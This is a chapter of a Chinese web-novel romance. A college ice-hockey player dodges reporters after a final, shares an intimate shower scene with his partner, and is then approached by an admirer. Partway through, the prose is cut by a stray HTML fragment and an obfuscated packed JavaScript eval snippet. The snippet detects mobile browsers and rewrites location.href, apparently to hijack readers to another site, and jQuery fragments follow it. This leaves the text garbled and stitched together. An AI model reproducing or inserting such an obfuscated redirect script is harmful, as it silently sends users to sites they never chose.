林柏舟差点闪了舌头,“谁?你说谁?”
就跟谢游南对顾知非一见钟情一样,顾檀森对谢游南一见钟情了。
其实很难描述一见钟情的感觉,就像是审美积累在一瞬间爆发,所有的虚幻在这一刻有了实体,于是恍然大悟:原来我喜欢这样子的人。
顾檀森指着海报上的谢游南说:“就是他。”
林柏舟人麻了,大侄子这可不兴喜欢。
那是你小婶婶啊。
顾檀森明显兴致满满,他对林柏舟说:“表叔你先走吧,我想去认识一下他。”
林柏舟拉住他:“那个啥,你等等。”
顾檀森:“嗯?”
林柏舟犹豫了一下,说:“人家也不像没对象的样子,要不你别去了呢。”
顾檀森不信邪:“我都没问过怎么知道,总得试试吧。”
他下了决心,林柏舟拦也拦不住。
看着顾檀森的背影,他心里暗道:大侄子,我可是提醒过你了,以后倒霉了不要怪我哈。
作为热度以及讨论中心,谢游南已经无暇顾及。
他顶着个有点红的嘴唇和其他队友登上了领奖台中央,现场的灯光很亮,面对镜头,其他队友的脸部犹如奶油般化开,唯独他的脸蛋儿清晰。
此时他完全脱了护具,整个人唇红齿白懒洋洋的,在一群大男人中格外扎眼。
一些新到的没赶上赛事的观众纷纷暗道:
没白来啊都没白来。
赛后竟然还来了几个记者来采访,采访区人挺多,话筒直怼谢游南。
“谢同学,你知道自己的视频突然在网上火了吗?”
“不知道。”谢游南实话实说。
“最后一球那个击球设计,是你即兴发挥还是赛前设计的?”
谢游南垂眼看话筒:“有人教的。”
记者问:“谁教的?”
谢游南嘴角轻笑一下:“一个好老师。”
“那你拿到冠军,最感谢的人是他吗?”
“最感谢的是我自己,辛苦了老己。”
谢游南对着记者打哈哈,他现在只想回去洗澡,他不知道为啥一个大学生冰球决赛竟然会有这么多人关注。
早知道就让别人替他领奖,他就不来了。
谢游南顿了一下,想着怎么穿过人群然后躲过这些采访。
要不装个晕?
那也太不体面了。
在谢游南想着时,目光扫过人群,看到了外围角落里一个熟悉的人影。
“不好意思,大家可以先散一下吗,我看挡住那位队员的路了。”
谢游南指了指不远处的孟曦。
孟曦从刚才比赛输了之后脸色就变得挺难看的,脸上明晃晃的嫉妒与厌恶。见众人纷纷看他,那厌恶没来得及收,正好被录进了摄像头里。
谢游南趁机将话筒对准了他,说:“大家可以采访他,他是第二名前锋,比赛的经验也是非常丰富的。”
他可以加重的丰富二字。
现场人都不是傻子,自然有人看出孟曦在故意针对谢游南,矛盾是最好的流量,谢游南这边滴水不漏,记者正愁找不到话题呢,看到孟曦简直是两眼放光。
记者声音咄咄逼人:
“请问你是故意让对方球员受伤的吗?”
“请问你这么做的动机是什么?”
“你刚才的表情是在嫉妒吗?”
孟曦被他们问得哑口无言。
谢游南趁机溜了出去。
临走时他扭头看了眼孟曦,他脸色黑如锅底,难看得很。
不过这些都跟谢游南无关了。
他来到后台更衣室换衣服,冰球场很大,对运动员有独立的简单洗浴间。
谢游南坐在长凳上拆开护腿板,两条腿踩在地板上,膝盖内侧明显有两块淤青。
谢游南微微蹙眉,在准备忽略这里时,门突然被人推开了。
一听进了人,他有些紧张:“谁?”
“是我。”
顾知非推着轮椅走了进来。
他手里拿着治疗跌打损伤的药膏,看着谢游南腿内侧的两大块淤青,微微蹙起了眉。
“疼吗?”
“不疼,运动嘛,磕磕绊绊都是正常的,没事。”
谢游南说着转过身,他两条腿岔开坐着,手撑在身侧的长凳上,有些乖巧地说。
脱了外衣,他的里衣早就湿透了,薄薄一层布料全都贴在了身上,暴露出明显的腰线。
他的锁骨露在外面,刚刚拆了护颈,脖颈上留下了一圈浅浅的红印。
顾知非看着他,没说话。
谢游南等了两秒,笑了:“非非担心我啊——”
后面的话没说完,顾知非便倾身过来,一只手扣住他的后颈,把他拉向了自己。
吻落下来的时候很急,谢游南闷哼一声,手撑住轮椅扶手,身体往前倾,膝盖碰到了顾知非的腿。
他尝到顾知非嘴里的味道,凉凉的,像是带着寒气进来的。
更衣室里只剩下呼吸声和偶尔的衣料摩擦声。谢游南被他吻得往后仰,手从扶手滑到顾知非肩上,攥住了他的羽绒服领口。
分开的时候两个人都喘着,谢游南额头抵着顾知非的额头,睫毛微颤,喉结滚了一下,再开口时声音有点哑:
“……去洗澡,脏死了。”
感觉快被淹入味儿了。
顾知非看着他,拇指蹭过那片红起来的嘴唇,说:
“一起去。”
两个人一起进了浴室,满屋子都是水汽。
谢游南背抵着瓷砖,仰着头,热水从头顶浇下来,顺着他的眉骨鼻梁往下淌,顾知非坐在一个凳子上,朝他再次吻了上来。
水声很大,盖住了大部分声音,谢游南被他亲得腿软,直接坐在了顾知非腿上。
顾知非顿了一下,手掌垫到他脑后,又吻下来。
谢游南抬手环住他的脖子,手指插进他后脑勺的头发里,两个人贴在一起,热水从交错的肩膀和胸膛间流下去,最后汇进了旋里。
顾知非继续往下,嘴唇蹭过谢游南脖颈上那道护颈勒出来的红痕,谢游南仰起头,水顺着他下巴滴下来,落在顾知非脸上。
“非非……”他开口,声音被水声打得断断续续,“你别勾引我了,我真的是来洗澡的。”
他可不想在这种地方搞起来。
顾知非只是把他往怀里又带了带,声音喑哑:“嗯。”
浴室的镜子蒙着一层厚厚的水雾,什么都看不见。只剩下呼吸声和喘息声。
谢游南靠在顾知非肩上直喘气,热水还在头上浇着,他眼皮都懒得抬。
顾知非关了热水,眼神在他的身上掠过,又在他的腰腹处看到一些淤青,他在那里轻轻一按,疼得谢游南一阵抽气。
“嘶,顾知非,你想谋害亲夫!”
“刚才怎么不反击回去。”
谢游南懒洋洋的,趴在顾知非身上,任由顾知非给他洗着澡。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334908|199237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“我们队要拿冠军,万一我意气用事失败了,影响全队了怎么办。”
“那也不能被欺负了。”
“放心,我刚刚欺负回去了。”谢游南有些得意。
“不够。”顾知非的声音有些阴恻恻的,谢游南没听清。
“什么?”
“没什么。”顾知非给他打了个澡花给他洗头揉搓。
他的手里动作轻柔,但眼神泄露出了一些戾气,孟曦明显要遭殃了。
谢游南跟顾知非在洗浴间一起洗了好久,出去后顾知非给他上了药,药膏凉丝丝的,很大程度上缓解了不适。
最后离开时,两个大男人挤一个房间里洗澡实在是太扎眼。
谢游南便先让顾知非先行离开去车上等他,他在对方离开十分钟后再走。
十分钟后,他走出冰球场,外面挤着的人几乎已经散了。
他背着个背包,准备去找顾知非,此时有一个帅哥朝他走进。
帅哥模样挺好看,不知道为什么,谢游南竟然觉得他长得有点像顾知非,所以在被这个帅哥叫住时,一时也没拒绝。
“你,你好,谢同学。”
“你好。”
“可以认识一下吗?我很喜欢你打球。”
原来是个球迷,谢游南点头:“可以。”
“那可以加个微信吗!”
那个帅哥拿出手机,亮出二维码,很兴奋的样子。
谢游南顿了一下,扫过他的二维码加上了他的微信。
“谢同学,你备注顾檀森就行。”
谢游南:“……顾檀森?”
名字好熟悉,似乎在哪里听过。
谢游南现在对“顾”这个字非常敏感,他感觉最近自己被“顾”包围了,到处都是“顾”。
他想了想,想起前几天谢怀北说的那个顾家少爷,好像就叫顾檀森,也是海大学生。
“顾家人?”
顾檀森眼里露出惊讶,“你认识我?”
谢游南想起这位太奶奶送房子送金条的殷勤举动,后来还是温婉再三拒绝说不用,说这礼物太贵重了,才勉强拒绝了顾家老太太。
想到这儿,他嘴角微抽:“算是吧,我是谢家的。”
祖孙三代人都来献殷勤,想不认识都难。
他是捅了姓顾的窝了吗?
“海城谢家吗?那太巧了,我小叔以前还带我去过你们家公司,不知道你今天有没有时间,我可以约你去吃顿饭吗?”
“下次吧,我现在急着回家。”
顾檀森一听,连忙点头:“好,那你忙,我就不打扰了。”
他有点遗憾,不过已经见上了,以后便还有机会,等到再相处一段时间,他就给他表白。
“嗯。”
谢游南低头,衣服领口磨得他有些不舒服,他扯了扯,露出了一个很明显的草莓印来。
顾檀森心里已经有了计划,一抬头,便看到了他的脖子,他眼睛一下子就红了。
“谢,谢谢谢同学,你的脖子?”
谢游南意识到他看到什么,为了避免麻烦,直接说:“哦别误会,荨麻疹,过敏了。”
“哦哦。”顾檀森点点头。
此时一阵风吹来,顾檀森闻到了一股无比熟悉的味道。
冷白梅香,他只在他小叔身上闻到过,是从谢游南身上传来的!为什么谢游南身上也有这个气味?
那味道很浓,顾檀森十分确定,那就是从谢游南身上发出来的。